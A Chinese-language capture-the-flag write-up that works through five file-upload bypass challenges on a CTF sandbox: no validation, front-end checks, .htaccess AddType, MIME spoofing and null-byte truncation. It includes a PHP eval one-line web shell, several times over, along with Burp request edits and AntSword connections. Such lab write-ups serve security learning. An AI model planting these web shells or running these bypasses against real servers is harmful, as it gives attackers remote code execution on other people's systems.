文件上传

无验证

题目:

解题

使用工具:蚁剑

创建一个名为ctf.php的文件,写入

1
<?php @eval($_POST["ctf"]);?>

将文件上传

打开蚁剑

测试连接,显示连接成功

前端验证

题目:

解题

工具:蚁剑、burp

查看网页源码发现只能上传jpg、png、gif格式的文件

创建一个名为ctf.jpg的文件,写入

1
<?php @eval($_POST["ctf"]);?>

将文件上传,上传成功

打开burp,找到记录

放入重放器中

找到上传的文件,将文件的后缀改为php,并重新发送

看一下页面渲染,成功上传了

打开蚁剑连接

.htaccess

题目:

解题

查看源码发现有一堆不能上传的文件后缀

题目中有提示,上网搜了下htaccess

.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

创建一个er.txt的文件,写入

1
2
<?php @eval($_POST["ctf"]);?>

创建一个.htaccess的文件,写入

1
AddType application/x-httpd-php .txt

作用:服务器会将所有扩展名为 .txt 的文件当作 PHP 脚本进行处理

将文件上传上去,接着使用蚁剑连接

吐槽

当开始以为.htaccess是个文件后缀,需要有文件名,于是建了个cc.htaccess的文件上传上去,结果怎么都连接不上,折腾了半小时,后来才发现.htaccess就是个文件

MIME绕过

题目:

解题

MIME?先搜一下

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

——百度

没大看懂。。。

MIME 类型

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。

MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。

浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理URL,因此 We b服务器在响应头中添加正确的 MIME 类型非常重要。如果配置不正确,浏览器可能会无法解析文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。

——菜鸟教程

好像是用来判断文件类型的

看一下源码

上传一个一句话试一下

将这次的提交放入burp的重放器中

看一下菜鸟

语法

MIME 类型通用结构:

type/subtype

MIME 的组成结构非常简单,由类型与子类型两个字符串中间用 / 分隔而组成,不允许有空格。type 表示可以被分多个子类的独立类别,subtype 表示细分后的每个类型。

MIME类型对大小写不敏感,但是传统写法都是小写。

两种主要的 MIME 类型在默认类型中扮演了重要的角色:

  • text/plain 表示文本文件的默认值。

  • application/octet-stream 表示所有其他情况的默认值。

将application/octet-stream改为text/plain试一下

。。。还是失败,换成image/png试一下

成功了,接着就是蚁剑连接

00截断

题目:

解题

搜一下00截断

00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。

看一下源码

创建一个名为ww.php.jpg的文件,写入

1
<?php @eval($_POST["ctf"]);?>

上传

使用burp,放入重放器中

修改,并重新发送

打开http://challenge-736e7c823c9e93f3.sandbox.ctfhub.com:10800/upload/ww.php验证一下,没有报错,成功了,接着就是蚁剑获取flag